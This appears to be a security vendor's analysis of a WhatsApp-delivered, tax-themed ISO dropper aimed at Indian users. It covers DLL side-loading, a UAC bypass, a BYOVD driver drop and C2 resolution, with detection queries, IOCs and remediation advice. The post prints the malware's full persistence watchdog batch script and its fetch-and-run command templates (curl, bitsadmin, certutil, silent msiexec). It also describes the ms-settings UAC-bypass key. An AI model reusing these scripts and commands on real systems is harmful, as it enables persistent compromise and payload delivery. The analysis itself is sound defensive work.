1. Introduction

It arrived right when everyone was expecting it. In the middle of India's ITR filing season, a message started circulating over WhatsApp carrying what looked like tax paperwork: a .img disk image named 20260825__1_.img, wrapped around a file called I.T.R.Number-20260825114014.EXE — styled to look exactly like an Income Tax Return acknowledgement, timed to land right when India's September filing window was open. Double-click it, and two things happen at once. On screen, it looks like a document is opening. Behind the scenes, a 4.5 MB DLL slips in and side-loads itself, quietly, with no trace in any file listing the victim would ever actually see.

That hidden DLL is where the real story starts. It masquerades as an NVIDIA driver component, but underneath the disguise it's carrying a kernel driver built to blind or kill security software, and it wires in persistence that survives even if its own process gets killed. It also reaches out to a real, live command-and-control domain — and we only know that because we watched it happen. Reading the code alone would never have told us that.

Rather than guess at what this sample does, we ran it through Vajra Sandbox, our in-house malware analysis platform, and let it run. What follows is the story the way it actually unfolded for us: what was sitting inside the container, how the loader borrows a legitimate signature to slip past defenses, what the hidden DLL does once it's running, what we watched happen live during detonation, and what all of it says about where this came from and who it's aimed at. Every claim in this post carries a tag — confirmed, meaning we watched it happen during detonation, or from the code, meaning it's inferred from the code but never observed directly. That line gets blurred in a lot of writeups. We didn't want to blur it here.

2. Anatomy of the Package: From ISO to Detonation

2.1 What's Inside the ISO

  • File name (as received): 20260825__1_.img

  • Type: ISO 9660 image (no Joliet/UDF), 4,800,512 bytes

  • SHA-256: f47461650951864b02a6922ec01f609baf39ebf9f44cd9cdbcf4e10e26edafb8

  • MD5: fd19292633f3f5f05f8edb41962815f3

  • Volume label: CD_ROM

  • Authoring tool: OSCDIMG 2.56 (Microsoft's Windows ADK image tool); publisher field spoofed as "MICROSOFT CORPORATION"

  • Volume created: 2026-08-26 08:00 UTC+8

  • File timestamps inside: 2026-08-25 11:41 UTC+8

Here's the trick that makes this whole thing work: double-click a .img or ISO and Windows mounts it as its own drive letter, no questions asked. Anything living inside that mounted image skips right past the container's Mark-of-the-Web flag — the same flag that makes SmartScreen and Office throw up a warning before you open a raw download. It's a cheap trick, and it's devastatingly effective, because it turns a browser-level warning into nothing at all.

Pop the image open, and there are exactly two files waiting inside:

  • I.T.R.Number-20260825114014.EXE — Size: 211,136 bytes. Hidden?: No. Lure. Genuine, digitally signed Alibaba crash-reporter executable

  • arphADump.dll — Size: 4,544,000 bytes. Hidden?: Yes. Payload. Side-loaded by the EXE

All the victim ever sees is a single "document." The 4.5 MB DLL sitting right next to it, hidden, never even registers.

2.2 The Trojan Horse: A Legitimate Signed Binary

  • SHA-256: b2ee510d0b5012487dee143b459e4e2fcfb758960d3fe7ec4743552bc91be9e2

  • MD5: 8521949e487368f1708d68ffcc581665

  • Imphash: 9206bd4a402561582018ceda38bf9057

  • Type: PE32 (x86) GUI, 5 sections, entropy 6.70

  • Compiled: 2021-07-16 05:38 UTC

  • Original name: arphaCrashReport.exe (ProductName arphasdk, "Copyright (C) 2018 Alibaba Group")

  • PDB path: D:\jenkins\workspace\ci.arphasdk.build\qtc_out\Release\arphaCrashReport.exe.pdb

  • Signature: Valid EV code-signing signature. GlobalSign GCC R45 EV CodeSigning CA 2020, signer 广州宁静海信息科技有限公司 (Guangzhou Ningjinghai Information Technology Co., Ltd., an Alibaba-affiliated entity), timestamped

Here's the twist: this file hasn't been touched at all. It's a genuine piece of Alibaba's "arphaSDK," the same kind of component that ships quietly inside Taobao and AliExpress desktop apps. What matters isn't what it does — it's what it's looking for. On startup, it goes hunting for three functions from a DLL it expects to find sitting right next to it.

arphaDump.dll: SetWindowLocalDump, GetArphaCrashReport, GetArphaUtils

That's classic DLL side-loading (MITRE ATT&CK T1574.002) at work. A Windows program that loads a DLL by name rather than full path will happily grab whatever file is sitting in its own directory first — and an ISO mount is a remarkably convenient place to plant one.

This is where a monitoring tool like Vajra, watching every process and every loaded module across an organization, earns its keep, since no one's staring at this one machine waiting for it to happen. A trusted, signed binary loading a module that carries no signature of its own is a narrow enough pattern that it stands out on its own — the kind of thing a threat-level indicator is meant to surface first. Ours is still being tuned, so a hit there is worth a closer look rather than a verdict, and the query behind that closer look isn't specific to this sample either — it flags any trusted binary loading an unsigned DLL from outside the usual system paths, regardless of which vendor's signature it happens to be wearing:

sql
SELECT p.pid, p.name AS process, p.path AS exe_path,
       m.path AS loaded_module
FROM processes p
JOIN signature sig ON sig.path = p.path AND sig.result = 'trusted'
JOIN vajra_loaded_modules m ON m.pid = p.pid
WHERE m.signed = 0
  AND m.path NOT LIKE 'C:\Windows\%'
  AND m.path NOT LIKE 'C:\Program Files%';

Once a hit like that checks out, killing the process and pulling the DLL off that node for a closer look is something an analyst can do straight from the same console, remotely, without anyone needing to touch the machine.

The payoff is obvious once you see it: any reputation or signature check run against the file the victim actually clicked comes back clean and EV-signed. The code doing all the damage lives in a separate file that most tooling never bothers to look at directly.

Running Vajra Sandbox's YARA rules against the EXE turned up two hits: Vajra_AntiDebug_Timing and Vajra_Embedded_PE_Overlay. Worth flagging, but not worth panicking over — the EXE's signature is still valid and its hash still matches the untouched vendor original, so this most likely reflects something already baked into Alibaba's own build (Qt-based installers often carry extra data past the last section) rather than any sign of tampering.

2.3 The Real Payload: arphADump.dll

  • SHA-256: 5e25d5d346da1c2f79ff2bf542adcf6df61e66581f3ac7689a7f45e94ad4fe36

  • MD5: d403a724b8665a6e77ab09c69bd0828e

  • Imphash: c4f22e20975a9d3fe84957d0cc941d87

  • Type: PE32 (x86) DLL, 6 sections, MFC-based, entropy 6.82

  • Compiled: 2026-08-24 13:14 UTC, one day before the ISO was authored

  • Version info: Spoofed as "NVIDIA Corporation — FvSDK KMD Service Plugin," v1.0.0.1, "Copyright (C) 2025 NVIDIA"

  • Signature: None

  • Internal PDB: F:\dd\vctools\vc7libs\ship\atlmfc\Display.NvApp.NvBackend\Release\Display.NvApp.NvBackend.pdb (path mimics a genuine Microsoft VC build tree)

2.4 Exports built to order

SetWindowLocalDump, GetArphaCrashReport, GetArphaUtils,   <- exactly what the lure EXE imports
GetArphaApp, GetArphaCrashDump, GetArphaJamDump, GetArphaService,
Display_NvApp_NvBackend

The first three exports only exist to satisfy the Alibaba EXE's import table — proof this DLL was purpose-built to be side-loaded by that exact binary. The fourth export tells a different story. Display_NvApp_NvBackend is the entry point the operators themselves use when they want to run the payload directly, and it turns out to matter a lot more than its plain name suggests (more on that in Section 2.7).

2.5 Sections — where the real code is hiding

Section  Raw size  Entropy  Note
.text    1.58 MB   6.56     Mostly MFC library code, bulk/decoy
.rdata   358 KB    5.32     Strings, import tables
.data    28 KB     4.69
.ARP0    1.14 MB   7.38     Non-standard section. Junk-instruction pop-sled padding, no cleartext PE inside. This is where the real logic unpacks itself at runtime.
.rsrc    1.29 MB   5.46     See below
.reloc   142 KB    6.57

Entropy runs 0–8 per byte. Normal compiled code sits around 5.5–6.5; encrypted or compressed data pushes past 7. So when a 1.14 MB section shows up sitting at 7.38 in an otherwise unremarkable DLL, that's about as loud a flag as you'll ever get for "there's a packer or a decryptor hiding in here."

2.6 Resources — the encrypted payload

  • FUNCTIONALCONSENT_AR_SA (id 310) — Size: 30,320 B. Entropy: 7.99. Encrypted blob #1

  • FUNCTIONALCONSENT_HE_IL (id 311) — Size: 38,816 B. Entropy: 8.00. Encrypted blob #2 (shares a 12-byte header with #1, same key/format)

  • FUNCTIONALCONSENT_HE_DC (id 312) — Size: 1,388 B. Entropy: 7.86. Small encrypted blob, likely C2 configuration

  • RT_BITMAP (id 313) — Size: 1,058,442 B. Entropy: 5.36. A 700×378 completely white bitmap. Pure padding, almost certainly to push the file past size-based AV upload/scan limits

  • RT_ICON (id 1) — Size: 145,768 B. Entropy: 2.77. Application icon

None of the three custom resources budged under single-byte XOR or zlib. There's a real cipher at work here, and the decryptor lives inside .ARP0. We'll walk through that properly in Section 3, but here's the short version: resource #1 (id 310, 30,320 bytes) turned out to be a lot more than "probably a driver." We recovered the exact decrypted output on disk after detonation — byte-for-byte the same size.

2.7 How We Know: Detonating It

Everything above came from reading the file. Everything below comes from actually running it and observing what it does, rather than inferring behavior from code alone.

3. Under the Hood: Capability Walkthrough

3.1 Privilege escalation & UAC bypass (confirmed)

Detonation caught this one red-handed. Six seconds after the lure EXE launched, it spawned cmd.exe /c C:\WINDOWS\System32\ComputerDefaults.exe. That binary is one of a handful of Microsoft executables that auto-elevate without ever triggering a UAC prompt, and the standard way to abuse it is by planting a hijacked command under HKCU\Software\Classes\ms-settings\Shell\Open\command with DelegateExecute set — exactly the string static analysis had already flagged as suspicious. Watching ComputerDefaults.exe fire off immediately after launch is about as direct a confirmation as you can get; no amount of reading code alone could have shown us that.

That's a satisfying thing to catch after the fact, but a tool like Vajra, watching process activity across the whole fleet, doesn't need to wait for it. The tell isn't the specific binary, it's the shape of the process tree: something that only just launched, carrying no Microsoft signature, immediately followed by one of a handful of auto-elevate binaries — ComputerDefaults.exe here, fodhelper.exe, sdclt.exe, or eventvwr.exe elsewhere — a pairing rare enough to stand out on its own. And because the hijack itself always lands in the same registry location no matter which auto-elevate binary ends up abusing it, a single stock osquery query catches the technique rather than any one binary:

sql
SELECT key, path, name, data
FROM registry
WHERE path LIKE 'HKEY_USERS\%\_Classes\%\Shell\Open\command%';

From there, reverting the hijacked key and killing the parent process chain — on that node or every node showing the same pattern — is something an analyst can do remotely, before the auto-elevate step ever completes anywhere else.

The rest of the privilege-escalation groundwork, though, is still static-only — laid in the code but never triggered during detonation:

  • Requests SeDebugPrivilege, SeLoadDriverPrivilege, SeTcbPrivilege, SeTakeOwnershipPrivilege, SeIncreaseBasePriorityPrivilege

  • Checks for the SYSTEM SID S-1-5-18 via CheckTokenMembership / OpenProcessToken / AdjustTokenPrivileges

  • Uses the runas verb via ShellExecuteExW

3.2 Persistence (confirmed, with a twist)

Strings alone hinted at some kind of NVIDIA-themed service persistence. Watching it run told a much better story: the malware doesn't write a single line of new persistence code. Instead, it repurposes copies of real, legitimate binaries — and it does this trick twice, in two different places.

Two files end up on disk sharing the exact same name, NvContainerLocalSystem.NVX.EXE, and yet they're not the same file at all:

  • Generation 1 (b2ee510d…, 211,136 bytes): a byte-for-byte copy of the original signed Alibaba arphaCrashReport.exe from Section 2.2, just renamed.

  • Generation 2 (238eb6d0…, 56,832 bytes): a byte-for-byte copy of the genuine Microsoft rundll32.exe, confirmed by its imphash matching the real system binary and its embedded version resource (FileDescription: Windows host process (Rundll32), OriginalFilename: RUNDLL32.EXE, CompanyName: Microsoft Corporation).

Sitting alongside them is a plaintext batch script, dropped and recovered in full:

C:\ProgramData\S-1-5-21-1076380262-2591248421-2875627274\S-1-5-21-1076380262-2591248421-2875627274.BaT

bat
@ECHO OFF
SETLOCAL ENABLEEXTENSIONS

:: 在此处配置你的进程名和路径（支持长名称和空格）
SET "PN=rundll32.exe"
SET "PP=C:\ProgramData\S-1-5-21-1076380262-2591248421-2875627274\S-1-5-21-1076380262-2591248421-2875627274.eXe"
SET "CI=60"

:MainLoop
SET "PF=0"

:: 使用 csv 格式输出，完美解决长进程名被截断的问题
TASKLIST /FI "IMAGENAME eq %PN%" /FO CSV 2>nul | FIND /I "%PN%" >nul
IF %ERRORLEVEL%==0 SET "PF=1"

:: 如果进程未运行，则启动它（双引号包裹路径防止空格报错）
IF "%PF%"=="0" (
    START "" "%PP%"
)

:: 等待指定的秒数
TIMEOUT /t %CI% /nobreak >nul

GOTO MainLoop

What we're looking at is a self-healing watchdog. Every 60 seconds it checks whether a process named rundll32.exe is running, and if it isn't, relaunches the renamed copy (%PP%, Generation 2 above). Kill the malicious rundll32 process, and within a minute it's back — spawned from a file whose own metadata insists it's Microsoft's binary.

None of the specifics here — the script, the filenames, the sixty-second interval — are what make this catchable. What holds across this entire class of self-healing watchdogs is simpler: a process that keeps coming back within a minute of being killed, relaunched from the same path, over and over. A process that ordinary software just doesn't do. Watched across a whole fleet rather than one machine — the kind of view a tool like Vajra keeps on every node — that behavior turns into an unusually high relaunch count against a single binary path, which a scheduled query against osquery's process_events table — run every few minutes and diffed — picks up directly:

sql
SELECT path, parent, COUNT(*) AS launches
FROM process_events
WHERE time > (strftime('%s','now') - 300)
GROUP BY path
HAVING launches >= 3;

Once it does, isolating that node's network first — so a respawn can't refetch anything even if it succeeds — and then killing both the watchdog and the process it keeps restarting, are both things an analyst can do remotely, in the same session.

The three comments left in the script are written in Chinese — the kind of note a developer scribbles for themselves, never expecting anyone else to read it:

  • 在此处配置你的进程名和路径（支持长名称和空格） — "Configure your process name and path here (supports long names and spaces)"

  • 使用 csv 格式输出，完美解决长进程名被截断的问题 — "Use CSV format output, perfectly solves the problem of long process names being truncated"

  • 如果进程未运行，则启动它（双引号包裹路径防止空格报错） — "If the process is not running, start it (wrap the path in double quotes to prevent errors from spaces)"

A second, different persistence drop lands within the first few seconds of execution, well before the SID-keyed watchdog above appears:

C:\ProgramData\NvContainer.LocalSystem_{6E42BC40-A7F7-46E7-B84D-89D612AA2852}\nvcontainer.localsystem.cmd\

Inside sits a copy of the persistence executable (NvContainerLocalSystem.NVX.EXE) and a copy of the payload DLL itself, hiding under the case-swapped name (aRphADump.dll) we'd already flagged as likely in the kill-list section below. Line up the timing, and this GUID-keyed drop and the SID-keyed rundll32-and-watchdog pair start to look like two stages of the same persistence chain rather than two separate alternatives: one drop right on launch, and a second once the process has had a little more time to settle in.

3.3 Killing security software — BYOVD (driver drop confirmed)

SeLoadDriverPrivilege and CreateServiceW showing up together are a strong tell for Bring Your Own Vulnerable Driver (BYOVD) — the trick of dropping a legitimate but exploitable kernel driver, then using it to kill protected AV/EDR processes from kernel mode, where the usual user-mode protections simply don't reach.

Detonation confirms the drop half of that story directly. A file called TAOACCELERATOREX64_AV.SYS landed on disk: a genuine PE32+ x86-64 native driver, 30,320 bytes. That size is no coincidence — it's an exact match for the encrypted FUNCTIONALCONSENT_AR_SA resource from Section 2.6. We caught the decryption step happening in real time: encrypted resource goes in, working kernel driver comes out.

This driver wears its own disguise, entirely separate from the NVIDIA theme running through the rest of the sample. Its version resource claims CompanyName: LENOVO, FileDescription: BootRepair, ProductVersion: 2.5.30.11281 — a different mask from the same operator, worn one layer deeper into the chain.

What we didn't observe: the driver being loaded as a service, or any security process actually getting terminated. Memory forensics show no SSDT hooks and no sample-related service resident in memory, consistent with the driver having been written to disk but not yet loaded. The capability is proven at the file level; the kill chain's final step is still a static-analysis inference.

Here the anomaly is almost embarrassingly simple to state: an unsigned kernel driver landing on any single endpoint is rare enough to stand out on a fleet-wide view — the kind Vajra keeps across every endpoint — by itself, well before anyone's connected it to an AV-killing narrative. Osquery's drivers table lists every kernel driver on a Windows host along with its signing status, so confirming it takes one query — the vendor mask on a BYOVD driver changes every campaign, but the fact that it's unsigned generally doesn't:

sql
SELECT device_id, device_name, image, provider, signed
FROM drivers
WHERE signed = 0;

The response doesn't need to know anything about the disguise either: stopping the hosting service and isolating the machine from the network remotely, before the driver gets a chance to load, kills the attempt regardless of which vendor name it's borrowing that week.

3.4 AV/EDR enumeration (from the code)

Buried in the DLL is an uppercase list of roughly 150 security-product process and service names, spanning Windows Defender, CrowdStrike, SentinelOne, Cylance, Sophos, McAfee/Trellix, Symantec/Norton, Trend Micro, Kaspersky, Bitdefender, ESET, Avast/AVG, Avira, F-Secure, Malwarebytes, Fortinet, Palo Alto Cortex, CyberArk, Heimdal, HitmanPro, AhnLab V3, ALYac, ClamAV, Acronis, Panda, and Webroot. Two names jump out immediately: Quick Heal and K7 Total Security, Indian AV vendors that almost never show up in kill-lists built with Western targets in mind. (Full list in the Appendix.)

This is almost certainly the list feeding the "check what's running, then load the driver and kill it" logic described above.

3.5 Fetching a second stage (from the code)

"%s\curl.exe"      -L -s -o "%s" "%s"
"%s\bitsadmin.exe" /transfer myJob_%u /download /priority foreground "%s" "%s"
"%s\certutil.exe"  -urlcache -split -f "%s" "%s"
"%s\msiexec.exe"   /i "%s" /qn /norestart
"%s" /S /norestart

Four different LOLBin download fallbacks, plus a silent MSI install path for good measure. The downloaded file is dressed up to look like MicrosoftEdge_X64_150.0.%s.%s.exe, and every dropped filename uses deliberately mixed-case extensions (.BaT, .eXe) — a cheap trick, but a genuinely effective one against detection rules that match extensions case-sensitively.

Step back from the specific tool names, though, and the behavior underneath is one of the most reused patterns in the LOLBin playbook: an ordinary user's machine invoking a file-fetching utility with download-style flags, something legitimate software almost never does. That's easy to watch for across a fleet — with Vajra or with plain osquery — a plain process query, no extension required:

sql
SELECT pid, name, path, cmdline, parent
FROM processes
WHERE (name = 'certutil.exe'  AND cmdline LIKE '%-urlcache%')
   OR (name = 'bitsadmin.exe' AND cmdline LIKE '%/transfer%')
   OR (name = 'curl.exe'      AND cmdline LIKE '%-o %')
   OR (name = 'msiexec.exe'   AND cmdline LIKE '%/qn%');

Catch it early enough, and blocking outbound network on that host before the fetch completes — or just killing the process outright — is something an analyst can do straight from the console.

3.6 Command and control (confirmed)

This is the biggest gap detonation closed for us. Raw Winsock imports (WSAStartup, socket, connect, gethostbyname, send, recv, select, WSAEventSelect) told us, statically, that this thing talks over a custom protocol rather than HTTP — but the actual address it talks to was locked inside the still-encrypted resources, out of reach until we watched it run.

Every time, detonation resolved the exact same domain:

geco249.club   (A record)

That's a live domain sitting right there in the clear — not a guess pulled from strings, but a real address the sample actually reached out to. It maps to MITRE ATT&CK T1071.004 (DNS) and T1568 (Dynamic Resolution). CoCreateGuid, plus GUID-format strings scattered elsewhere in the binary, suggest a per-victim bot ID gets generated for whatever traffic flows over that connection next. We never caught that connection itself live, though, so the protocol details stay a static inference.

The domain itself is disposable — it'll be different next campaign. What a fleet-wide view, like the one Vajra keeps on every node, is actually built to answer doesn't change: which process on this node opened this connection, and has any other machine in the organization ever talked to that destination before? A single host beaconing somewhere none of its peers have ever resolved is invisible looking at that one machine alone, and obvious looking at all of them together. Joining open sockets to the process table and checking the destination against an allowlist of expected outbound endpoints gets there directly:

sql
SELECT p.name, p.path, p.parent, s.remote_address, s.remote_port
FROM process_open_sockets s
JOIN processes p ON p.pid = s.pid
WHERE s.remote_port IN (443, 80, 53)
  AND s.remote_address NOT IN (SELECT address FROM vajra_domain_allowlist);

Confirmed, isolating that host from the network immediately cuts the C2 channel, while the rest of the investigation continues offline.

3.7 Anti-analysis and geofencing (from the code)

  • IsDebuggerPresent, OutputDebugStringW, QueryPerformanceCounter, GetTickCount

  • Opens the device \\.\Warsaw_PM, the driver for Warsaw/Topaz (GAS Tecnologia/Diebold), a bank-mandated anti-fraud product used in Brazil. Checking for its presence is a signature move in Latin-American banking-trojan families (Grandoreiro, Mekotio, Casbaneiro, Astaroth lineage).

  • Opens \\.\BootRepair, likely another security/anti-fraud driver check, and coincidentally the exact name the dropped kernel driver disguises itself as (Section 3.3)

  • A country-name string list (pr china, united-states, south-korea, puerto-rico, …) suggesting locale/geofencing logic

  • A large MFC GUI surface plus GDI+/screen-capture APIs (CreateCompatibleBitmap, the BitBlt family, AlphaBlend), consistent with fake bank overlay windows and screen capture, the hallmark of this trojan class

  • PlaySoundW plus a full window-control API set, typical of RAT-style remote desktop and overlay modules

None of it surfaced during detonation — the process never got far enough for a GUI element to even render. So it stays in the static column, even though the code paths for it are unmistakably there, sitting ready.

4. The Full Execution Chain and MITRE ATT&CK Mapping

4.1 The Full Execution Chain

Here's the whole chain, stitched together from the process trees we watched during detonation and the later stages we can only infer from the code — each one tagged accordingly:

  1. Victim receives 20260825__1_.img over WhatsApp and opens it. Windows mounts it as a drive letter.

  2. Victim sees only I.T.R.Number-20260825114014.EXE (looks like a tax document) and opens it.

  3. CONFIRMED The legitimately signed Alibaba EXE starts and side-loads arphADump.dll from the same mounted drive. No literal image-load event was captured, but everything the process does next only exists in the malicious DLL's code, not the original signed binary, so the side-load is confirmed by its effects.

  4. CONFIRMED Within the first few seconds, it drops a GUID-keyed persistence pair, NvContainerLocalSystem.NVX.EXE and a renamed aRphADump.dll, under C:\ProgramData\NvContainer.LocalSystem_{6E42BC40-A7F7-46E7-B84D-89D612AA2852}\nvcontainer.localsystem.cmd\.

  5. CONFIRMED It attempts a UAC bypass, spawning cmd.exe /c C:\WINDOWS\System32\ComputerDefaults.exe, the auto-elevate abuse the DelegateExecute string in Section 3.1 pointed to.

  6. The DLL exposes a second, operator-facing entry point, Display_NvApp_NvBackend, that can be invoked directly via rundll32.exe, independent of the lure chain. Steps 7 through 10 come from that direct invocation, which is how the deeper stages below were reached.

  7. CONFIRMED Invoked directly as arphADump.dll,Display_NvApp_NvBackend via rundll32.exe, the payload writes a second, differently-keyed persistence pair (a renamed copy of the real rundll32.exe and a watchdog .BaT script) under C:\ProgramData\<SID>\, then launches the watchdog.

  8. CONFIRMED The watchdog enters its polling loop, relaunching the renamed rundll32 copy every 60 seconds if it's not running.

  9. CONFIRMED The process resolves geco249.club via DNS.

  10. CONFIRMED A file matching the exact size of the encrypted BYOVD resource, TAOACCELERATOREX64_AV.SYS, disguised as a LENOVO BootRepair driver, is written to disk.

  11. STATIC Enable SeLoadDriverPrivilege; create a service; load the driver; terminate security products from the kill-list.

  12. STATIC Download the real second stage disguised as MicrosoftEdge_X64_150.0.x.x.exe via curl, bitsadmin, or certutil, then run it silently.

  13. STATIC Connect to C2 over the raw-socket protocol; banking overlay, remote control, credential theft.

Steps 3 through 10, we watched happen. Steps 11 through 13 are where the trail goes cold — clearly what the code is built to do next, but detonation never ran long enough for us to see it for ourselves.

4.2 MITRE ATT&CK Mapping

Confirmed during detonation

  • T1071.004 — DNS. Tactic: Command and Control. geco249.club resolved during detonation

  • T1568 — Dynamic Resolution. Tactic: Command and Control. DNS name resolved during detonation

  • T1218.011 — System Binary Proxy Execution: Rundll32. Tactic: Defense Evasion. Spawned rundll32.exe

  • T1059.003 — Windows Command Shell. Tactic: Execution. Spawned cmd.exe during detonation

  • T1574.002 — Hijack Execution Flow: DLL Side-Loading. Tactic: Defense Evasion. Confirmed by effect: persistence drop and UAC-bypass spawn only explainable by the side-loaded DLL's code

  • T1548.002 — Abuse Elevation Control Mechanism: Bypass UAC. Tactic: Privilege Escalation. Spawned cmd.exe /c ComputerDefaults.exe

  • T1105 — Ingress Tool Transfer. Tactic: Command and Control. GUID-keyed persistence pair dropped to C:\ProgramData\NvContainer.LocalSystem_{...}\

Inferred from the code

  • T1566 — Phishing (delivery via messaging app)

  • T1204.002 — User Execution: Malicious File

  • T1553.005 — Subvert Trust Controls: Mark-of-the-Web Bypass (via ISO)

  • T1027 — Obfuscated/Encrypted Files or Information

  • T1036.005 — Masquerading: Match Legitimate Name or Location (NVIDIA / Edge / tax document; extends to reusing real signed binaries under new names)

  • T1068 / T1562.001 — Exploitation for Privilege Escalation / Disable or Modify Tools (BYOVD)

  • T1543.003 — Create or Modify System Process: Windows Service

  • T1095 — Non-Application Layer Protocol (raw-socket C2 payload, layered under the confirmed DNS resolution)

  • T1056 / T1113 — Input Capture / Screen Capture (overlay windows, likely)

5. Indicators of Compromise

Everything below is drawn straight from what we saw on disk, on the wire, and in the process tree during detonation — ready to drop into your own detection tooling.

Hashes

  • SHA-256 — f47461650951864b02a6922ec01f609baf39ebf9f44cd9cdbcf4e10e26edafb8. 20260825__1_.img (ISO container)

  • ssdeep — 98304:bLzmgmbAKZGfcFy9/ZB/TSVXRWNoDhCWt8ZQjg6jEsQDdjbhCzJK3w:r8sPbxvoDhCMTwb0zg. 20260825__1_.img (ISO container)

  • SHA-256 — b2ee510d0b5012487dee143b459e4e2fcfb758960d3fe7ec4743552bc91be9e2. I.T.R.Number-20260825114014.EXE / arphaCrashReport.exe — legitimate, signed Alibaba binary (block by context, not globally); also seen renamed as NvContainerLocalSystem.NVX.EXE (generation 1)

  • SHA-256 — 5e25d5d346da1c2f79ff2bf542adcf6df61e66581f3ac7689a7f45e94ad4fe36. arphADump.dll — MALICIOUS

  • Imphash — c4f22e20975a9d3fe84957d0cc941d87. arphADump.dll

  • SHA-256 — 238eb6d00c29a445c8e4cfc74027f51a046d2a26e4fc21c372f117b3b24825b3. Renamed copy of legitimate rundll32.exe — dropped as NvContainerLocalSystem.NVX.EXE gen. 2, and as the persistence "<SID>.eXe"

  • SHA-256 — 073d60b2161266ad05b4657bf5f66d0bcf5c5f1df66ad727875b12e834c8587f. <SID>.BaT — watchdog/persistence script

  • SHA-256 — eb57b6db9b6876a51c7bc05ef011adcf0909a7351da8a329d6a1aee52a286459. TAOACCELERATOREX64_AV.SYS — dropped BYOVD kernel driver

Network

  • geco249.club — Type: Domain (C2). Resolved live during detonation

Files / paths to hunt for

  • arphADump.dll / aRphADump.dll — Outside an Alibaba/Taobao install directory

  • C:\ProgramData\S-1-5-21-*\S-1-5-21-*.BaT

  • C:\ProgramData\S-1-5-21-*\S-1-5-21-*.eXe

  • C:\ProgramData\NvContainer.LocalSystem_{<GUID>}\nvcontainer.localsystem.cmd\ — Confirmed path; GUID varies per infection

  • %TEMP%\TAOKERNELEX64_AV.SYS

  • %TEMP%\TAOACCELERATOREX64_AV.SYS

  • *\nvcontainer.localsystem.cmd

  • NvContainerLocalSystem.NVX.EXE — Two different underlying binaries have been seen under this name — verify by hash, not by name

  • MicrosoftEdge_X64_150.0.*.*.exe — In %TEMP%/%APPDATA%; real Edge installers don't use this name

  • *.BaT / *.eXe — Unusual casing

Registry / services

  • Service or task named NvContainer.LocalSystem_{<GUID>} — Real NVIDIA service is "NvContainerLocalSystem" — no GUID suffix

  • Registry values named IpDate / IpDates_i4

  • HKCU\Software\Classes\*\shell\open\command with DelegateExecute — UAC-bypass artefact

  • HKCU\Software\Classes\ms-settings\Shell\Open\command — The specific key ComputerDefaults.exe checks — confirmed abuse path

Process behavior

  • rundll32.exe launched with a command line referencing arphADump.dll,Display_NvApp_NvBackend

  • cmd.exe /c C:\WINDOWS\System32\ComputerDefaults.exe spawned by the lure EXE — Confirmed UAC-bypass attempt

  • cmd.exe /c start "" /B cmd /C <path>.BaT

  • A batch loop calling TASKLIST /FI "IMAGENAME eq rundll32.exe" /FO CSV piped into FIND — Every ~60 seconds

  • taskkill /f /im cmd.exe — Immediately following the above

  • arphaCrashReport.exe / I.T.R.Number-*.EXE spawning curl.exe, bitsadmin.exe, certutil.exe, or msiexec.exe

  • Any process loading a driver from %TEMP%

6. Detection & Response Guidance

So where do you actually stand, and what should you do about it? That depends entirely on how far things got:

If you only received the file and never opened it

  • You're fine. Delete it. Don't mount it "just to look."

  • Tell the WhatsApp contact who sent it that their account is likely compromised. Call them, don't reply in that chat.

  • Report the number/message to WhatsApp and to CERT-In (incident@cert-in.org.in).

If you mounted the .img but didn't open the EXE inside

  • Mounting alone doesn't execute anything. Eject the virtual drive and delete the file.

If you opened the EXE

  • Treat the machine as compromised and disconnect it from the network.

  • Don't trust the local AV. This sample is built to kill it. Boot from clean media or use an offline scanner.

  • Look for either persistence pattern: C:\ProgramData\NvContainer.LocalSystem_{<GUID>}\nvcontainer.localsystem.cmd\ (dropped almost immediately) and a renamed copy of rundll32.exe under C:\ProgramData\<SID>\ paired with a .BaT watchdog polling every 60 seconds. Killing the process alone won't stop either, the watchdog restarts it within a minute.

  • Check for TAO*.SYS drivers and any NvContainer-named service or folder carrying a GUID.

  • Check HKCU\Software\Classes\ms-settings\Shell\Open\command for a hijacked DelegateExecute entry, the UAC-bypass artefact this sample leaves behind.

  • From a different, clean device: change banking, email, WhatsApp, and work passwords; enable 2FA; check bank transactions.

  • Preferred remediation is a full OS reinstall. Kernel-driver-capable malware makes partial cleanup unreliable.

For security teams

  • Block ISO/IMG/VHD attachments from messaging apps at the endpoint (Attack Surface Reduction / AppLocker rule on mounted removable images).

  • Alert on a signed binary executing from a removable/mounted-image path and loading an unsigned DLL from the same directory. That's the core T1574.002 pattern here.

  • Alert on ComputerDefaults.exe, fodhelper.exe, or sdclt.exe being spawned as a child of a recently-launched, non-Microsoft-signed process. That's the UAC-bypass pattern regardless of which auto-elevate binary a given sample abuses.

  • Alert on any script-driven TASKLIST/FIND polling loop that relaunches a process on a fixed interval. A generic but effective signature for this watchdog pattern, independent of the specific filenames used.

  • Add the hashes, the geco249.club domain, and the path indicators above to detection tooling.

7. Closing Thoughts

None of the individual techniques here are new. DLL side-loading, BYOVD, watchdog persistence, UAC bypass via a Microsoft auto-elevate binary, NVIDIA-themed masquerading — all of it's been documented before, all well understood on its own. What's worth sitting with is how deliberately the trust chain is layered. A real, signed EV binary carries the loader stage. A real, signed Microsoft binary carries one persistence stage; a copy of the loader EXE itself carries the other. Follow the whole chain end to end, and the only unsigned code anywhere in it is the 4.5 MB DLL sandwiched quietly in the middle.

Static analysis will get you a plausible story. Detonating it is what turns that story into fact. It's the difference between "the C2 address is probably in there somewhere, encrypted" and an actual domain resolving live in front of you; between "probably drops a driver" and a specific file, with a specific fake vendor name, sitting right there on disk; between "carries a DelegateExecute string" and an actual ComputerDefaults.exe spawn caught in the act.

This isn't a one-off. WhatsApp-delivered, tax-season-themed, ISO-wrapped droppers are a pattern, and Indian users are clearly the intended target here — not incidental collateral. So if a "document" ever shows up as a disk image instead of a PDF or an Office file, treat that alone as reason enough to be suspicious. Pick up the phone, verify with the sender through a different channel, and only then think about opening it.

8. Appendix

8.1 Full AV/EDR process/service kill-list (as embedded in arphADump.dll)

